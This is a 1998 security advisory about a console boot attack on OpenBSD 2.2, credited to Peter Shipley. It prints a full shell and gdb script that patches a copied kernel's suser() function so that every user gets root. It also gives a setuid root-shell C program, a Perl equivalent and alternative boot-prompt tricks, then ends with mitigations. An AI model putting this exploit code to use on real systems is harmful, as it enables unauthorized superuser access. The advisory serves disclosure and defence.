COMMAND
obsd boot hack (boot-modified-kernel-attack)
SYSTEMS AFFECTED
OpenBSD 2.2 (GENERIC#10)
PROBLEM
Peter Shipley found following. It is possible to get root access
on a OpenBSD system from console with out password, floppy or
single user boot access. OpenBSD's boot loader will load any
kernel in the UFS file system this allowing the loading of
compromised kernels (aka: boot-modified-kernel-attack). In short,
BIOS boot and console restrictions are not enough.
While it is known that super user access is achievable from
console by booting an "install" or "fixit" floppy. This can be
inhibited by removing the floppy drive and/or disabling floppy
boot in the BIOS. Another method of achieving super user access
is by booting the system in "single user mode" (with kernel boot
option "-s"). Again, this can be inhibited by marking/setting the
console as an insecure terminal. Thus requiring a root password
to boot in single user mode and thus blocking direct root login in
multi-user mode.
The script below copies the /bsd kernel to /var/tmp and then
patches the copied kernel so the internel "suser()" function
always return zero (0). By inserting the following assembly code:
xorl %eax,%eax
leave
ret
This is equivalent to the code stub:
int suser() {
return(0);
}
The suser() is used by the kernel to test if the "calling" user
has super-user authority or not. A return value of zero (0)
indicates the the calling user is super-user any other value (in
this case EPERM) indicates a false/not-permitted value. After
the patch and kernel reload (reboot) all users have super user
privilege. Script follows (mod_kern.sh):
#!/bin/sh
# mod_kern.sh
# copyright 1998
# Written by Peter Shipley
# Mon Apr 13 02:20:29 PDT 1998
# you can use this as long as you do not sell or charge for it's use.
# developed on:
# OpenBSD crash 2.2 GENERIC#10 i386
# CPU 486DX2/66 w/ 16MRam
# this hack assumes /var/tmp is on the same files system as /
# if not you can still do this but it will take a few extra boot options
# this inserts the following asm into suser
#
# xorl %eax,%eax
# leave
# ret
#
# with makes suser equivalent to
#
# int suser() {
# return(0);
# }
#
# which will grant all users super-user privilege
#
/bin/cp /bsd /var/tmp/bsd
cat << 'EEOOFF' > /var/tmp/patch.gdb
set write on
exec-file bsd
file bsd
#
#disas suser
#print suser
#
set $rf = suser+6
set {char} $rf = 0x31
set $rf = $rf + 1
set {char} $rf = 0xc0
set $rf = $rf + 1
set {char} $rf = 0xc9
set $rf = $rf + 1
set {char} $rf = 0xc3
#
disas suser
EEOOFF
/usr/bin/gdb --batch --command=/var/tmp/patch.gdb
echo ""
echo ""
echo "ok now puch <reset> and and at the boot> prompt type:
echo " boot> boot /var/tmp/bsd"
echo "when the system finished booting you can gain root with"
echo "a simple C or perl program"
echo ""
echo ""
#perl:
#
# #!/usr/bin/perl
# $> = 0;
# $) = 0;
# exec "/bin/sh", "-i";
# die "$!";
exit 0
Script for rootshell:
/* cheap setuid code */
main()
{
char *shell = "/bin/csh";
setuid(0);
setgid(0);
execl(shell, shell, (char *)0);
perror("execl");
exit(0);
}
According to Theo de Raadt, ome don't even need such a complicated
kernel modification program to do this:
boot -d
Voila, you are in the kernel debugger. Or, alternatively, make
your own root filesystem and do:
boot -a
[...]
root device? fd0a
SOLUTION
It should be noted that anyone with hardware access and a
screwdriver can trivaly install a replacment HD and compromise the
system by mounting the other (original drive) thus physical
security is always an issue.
In very short term, fix is to make the kernel /bsd not world
readable and owned by the group kmem:
root# chmod 440 /bsd ; chgrp kmem /bsd
and create the file /etc/boot.conf and add a line
boot bsd
This will cause the system to automaticly boot and load the /bsd
kernel with out issueing the user the option to load a alternitive
kernel. Note that this can make it diffucult to repair a damaged
system should the /bsd kernel become corrupted.
Long term fix the only real fix is to modify /boot to only load
kernels from the root directory and only load if owned by root and
not world readable. (note the latter is supported in the boot
source code as a unused compile time option) ref:
ftp://ftp.openbsd.org/pub/OpenBSD/src/sys/stand/boot/
On
http://www.worst.com/netbsd/bootpatch
there is a patch to hardcode the boot path for NetBSD/i386-1.3.1.